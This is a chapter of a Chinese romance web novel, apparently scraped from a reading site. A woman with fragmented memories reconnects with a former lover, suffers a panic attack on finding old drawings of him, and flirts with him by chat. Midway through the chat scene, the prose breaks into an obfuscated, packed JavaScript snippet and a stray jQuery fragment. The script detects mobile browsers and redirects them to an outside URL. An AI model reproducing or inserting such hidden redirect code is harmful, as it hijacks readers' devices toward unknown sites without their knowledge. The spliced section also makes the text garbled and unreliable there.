桑兮渺第二天醒来发现自己在床上。


    她缓了几秒才回忆起睡前的事。


    他什么时候把她放到床上的？


    她正要起身，看到床头柜上的便签纸。


    [早餐在厨房，用微波炉加热即可。我在外办事，如你午后醒来，可等我一起吃饭。]


    落款是“Ten”。


    字迹行云流水，苍劲有力，和他本人的风格不太符。


    像是练过。


    难怪他说他的爱好泛而不精。


    这样的人反而最难拿捏。


    不知道他真正喜欢的是什么，因为他什么都可以尝试，也什么都可以放弃。


    桑兮渺又看了一遍。


    明明是第一次见他写的字，不知为何，却觉得这幅场景格外熟悉。


    她脑中闪过几个类似的片段。


    [醒来记得吃早餐，不要空腹画画。晚上回来，想吃什么发给我。]


    [快到生理期，切忌生冷食物。锅上煨了五红粥。另，猫我带去复查了。想我给我发消息。]


    [见你睡得不踏实，是不是做噩梦了？下次可以再抱我紧一点。早安吻已经奉上。爱你。]


    ……


    梦到过？


    他们到同居的地步了吗？


    还是，结婚？


    桑兮渺有些难以想象她和一个男人有那样深度的羁绊。


    她晃了晃脑袋，在便签背后留了句话，离开房间。


    盛时下午本还有事，特意打了个转，回了酒店。


    床上睡过人的褶皱都消失无踪，如果不是记得她睡在自己怀里的温度和柔软，容易错觉昨夜只是一场梦。


    那张便签被压在灯座下，没有被保洁收走。


    他取出来。


    [谢谢收留，我睡得很好。]


    后面跟了个可爱的颜文字表情。


    收留？


    是指带她回酒店，还是接纳她的投怀送抱？


    她不仅是胆子大了，撩拨人的手段也是愈发高了。


    盛时蓦地意识到，这几年，他对她的生活一无所知。


    不知道她有没有像这样追过别的男人，不知道她是不是也在别的男人身上留下专属标记。


    虽然她朋友圈没有蛛丝马迹可循，可如果是桑兮渺的话，也正常。


    当初她就从不发他。


    想到昨夜她不停地翻动身，窸窸窣窣的，下床钻进他怀里，找到舒适的姿势入眠，心又软了。


    不能逼问她。


    她一直很敏感，尤其对外界的负面反馈。


    苏婧不清楚她如今痊愈与否，但义正辞严地告诫过他，不要伤害她。


    当初是她突然甩了他，他才是受害人，不是吗？


    现在他却气不起来。


    生病纵然无法成为她不明不白断崖式分手的合理理由，他的潜意识却会自发维护她，替她粉饰，原宥她。


    这几年，盛时没有刻意地等过她，似乎就只是，遇不到再让他心动的人。


    ——他原本是这么想的。


    得知她飞来魔都的那一刻，他无声叹气。


    她怎么还是想一出是一出的。


    同时也认输投降。


    承认吧，盛时，你就是喜欢她。


    门铃响了。


    打开门，竟是去而复返的桑兮渺。


    她很少穿裙子，因为不如衣裤方便爽利，她挑衣服的标准更偏向于舒适。


    此时此刻，她特意换了条短裙，上半身是宽松的米色毛衣套衫，底下配一双长靴，斜挎一只珍珠白小包。


    对于她而言，是难得郑重的打扮。


    桑兮渺小小地喘着气，像是怕他走了，急匆匆赶来。


    她目光滢滢地看他：“饭点了，你说的一起吃饭还作数吗？我请你。”


    盛时在心里补上最后一句话——


    一直一直，从未变过。


    -


    暴雨来得快，去得也快。雨云南下，飞机顺利起飞。


    如盛时所言，他无须在魔都待太长时间。


    但桑兮渺也没后悔，这一趟还是有收获的。


    不过前段时间有出版商找来，要为她出个人画集，她没法趁热打铁，天天往盛时面前跑。


    出版行业近几年市场萧条，即便是出名画师也未必有机会。她没有签工作室，一直是单打独斗，质量虽高，但产量低，在圈内属于高不成，低不就的水平，有这么个机会找上门，她自然万分认真。


    对方要求，除了已经公开的部分画作，还需按照主题风格再加新的。


    桑兮渺打开文件夹。


    里面有一些她画到一半就搁置的，或者仅仅只有线稿的草稿，想找找有没有能用的。


    忽然，她无意间发现一个隐藏文件夹，但上了密码。


    她试了下常用密码。


    不对。


    又试了几种，还是不对。


    她束手无策，发消息求助苏婧：你知道这个命名为“不见”的文件夹密码吗？


    苏婧：这啥玩意儿？


    桑兮渺：我也不记得了，但看文件夹的建立时间，是毕业那会儿。


    苏婧沉默了片刻，问：你既然标了“不见”，那就是你不想看的东西，你确定要看吗？


    桑兮渺莫名：这样的话，我不是应该删掉吗？


    苏婧：可能是你当时舍不得，后来忘了。


    桑兮渺：你知道里面是什么？


    苏婧：大致猜到了。我建议你别看。


    桑兮渺：你越这么说我越好奇，到底是什么呀？


    为什么她自己不记得，苏婧却知道？


    对面的苏婧叹了口气。


    随后，她发来一串数字，让桑兮渺试试。


    打开了。


    是一些手绘画，有Q版，有速写。


    硬要说有什么特别的，那就是，无一例外，都是男人。


    男人冷声：“我事先告诉你，我当模特不是无偿的。”


    “那你要收多少？”


    “哼，你可别想用一个吻就打发我。”


    “‘一个’不行，”她一本正经，又亲了一下，“那两个？”


    歪了歪头，狡黠地笑，“三个？”


    他再绷不住，也笑了。


    “他”是梦里的那个男人？


    是盛时？


    如果是未来发生的事，这些画是怎么回事？


    又点开一张。


    桑兮渺双眼瞪大。


    是原本摆在“Minutes”门口，现在在她家里的那只兔子。


    不会错，只是面前这个是没有经过渲染的平面图。


    “……我觉得它很像小时候的我，我摔伤了，我妈会一边扶我起来，一边骂我只知道哭。”


    桑兮渺呼吸陡然变得急促，一种濒死般的心悸感席卷全身，手心瞬间冒出冷汗。


    她起身去拿药，不小心绊到电源线，电脑屏幕瞬间灭了，人也跪倒在地。


    她扶着桌沿，拼命地喘气，过了一会儿，症状方慢慢退下去。


    整个人像是在大太阳底下跑了八百米，贴身的衣物被汗浸透，因为脱水，浑身无力。


    毕业后，因为各种事情，她得了重度焦虑症，偶尔会引起惊恐障碍。


    但隔了这么久，她都好端端的，也不用再服药，她以为她早就好了，为什么又犯了？


    桑兮渺决定放自己一马，停下工作，洗了个澡，上床休息。


    睡不着。


    她摸来手机，鬼使神差地点开和盛时的聊天框，发了张表情包过去。


    他回得很快。


    盛时：？


    盛时：今晚当不了你的抱枕。


    桑兮渺：。。。


    她羞于提那晚的事，转移话题：你在店里吗？


    盛时：嗯，客人不多，打算提前打烊。


    桑兮渺：难怪你能秒回。


    盛时：这跟我忙不忙关系不大。


    桑兮渺咬了咬下唇，回：那，是跟聊天的人关系大咯？


    盛时：你认为呢？


    桑兮渺：我又不是你女朋友，我怎么知道。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427064|168341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他逗她玩儿似的，学她说话：我又没女朋友，我怎么知道。


    她说：你不是谈过恋爱嘛。


    盛时：是谈过，太久了，不记得了。


    桑兮渺：那你再谈一个呗。


    这句话言下之意不就是，你考虑我一下呗。


    没过脑子，直接发出去了。


    虽然有点后悔，但也没撤回。


    盛时：你追人的风格都是这样硬撩吗？


    好像能想象到他“嗤”出声，嘴角噙着一抹笑的样子。


    桑兮渺埋了会儿枕头，快喘不过气了才出来，说：没追过，见谅。


    对面沉默了。


    她小心地问：我的提议，你觉得怎么样？


    盛时：不怎么样。


    桑兮渺：嗯？


    盛时：我不是那么随便的男孩子。


    桑兮渺：我也不是那么随便的女孩子。


    欸？


    好熟悉的对话。


    她没仔细想，又说：我是深思熟虑过的，我觉得我该和你谈恋爱。


    盛时：“你觉得”？


    盛时：“该”？


    他气笑了。


    这是什么荒诞的言论。


    桑兮渺有理有据：我们年龄相仿，都属于自由职业，我不排斥你，你也不反感我，我们很适合谈恋爱。


    盛时：你再好好想想吧。


    因为客人少，他们需要忙的事也不多。


    吴浩东看着盛时一会儿笑得温柔，一会儿气恼，最后变得面无表情，跟见鬼了一样，和连迦咬耳朵：“时哥这是咋了？”


    连迦：“你知道你为什么单身吗？”


    吴浩东为自己正名：“我谈过女朋友的好不好。”


    “嫣嫣一小屁孩都看得出来，就你缺根筋。”


    连迦懒得讲他，收拾东西去了。


    吴浩东不服气，脑子转了几转，大咧咧地问：“时哥，你谈恋爱啦？跟桑兮渺？”


    不知道被哪个字戳到痛处了，盛时冷冷地剜他一眼，浑身散发着不爽的气息。


    吴浩东打了个寒噤，闭嘴了。


    连迦抚了下额。


    这人不仅大脑缺根筋，还缺心眼啊。


    -


    桑兮渺把自己想得失眠了半宿，后半夜又梦到那个未来男朋友。


    她枕着他的大腿，他拿着吹风机给她吹头发。


    猫跳到床上，乖巧地伏在她身边。


    “今晚真的不留下？”


    “嗯，我还要画稿。”


    他喟叹：“我老婆这么勤奋，我怕我以后配不上她，只能努力赚钱养家了。”


    “盛时，”她突然问，“你是不是想结婚？”


    他安静片刻，轻描淡写地笑了笑：“伟人都说了，不以结婚为目的的谈恋爱是耍流氓，我跟你在一起，当然不是玩玩。不过，结婚离我们太远了。”


    话虽如此，但她知道，他是想的。


    他的字字句句，都是想有个家。


    和她。


    两个人的，不被彼此家庭阻碍，因爱情而结合的家。


    他们都是从小靠稀少得需要竭尽全力去感受的爱而长大的孩子，只是，一个迫切地想要索取绝对的爱，另一个被汹涌的爱意吓得退缩。


    眼泪没有征兆地流了下来。


    桑兮渺睁开眼，摸到眼角的湿热，发怔。


    梦里的细节、对话，她记不大清了，可那种悲伤的感觉仍在身体里绵延，啃骨噬心。


    那人是盛时没错。


    昨晚，他让她好好想想。


    想什么？


    想她为什么要和他谈恋爱？


    还是，她有没有勇气再和他在一起？


    他说过，他认定的人，就不会轻易改变。


    他还说，他不是那么随便的人。


    等等。


    她为什么想的是“再”？


    头好痛，胸口也闷闷的，桑兮渺起身，灌了杯水，缓了一会儿，才有重新回到人间的真实感。


    她决定去“Minutes”找盛时。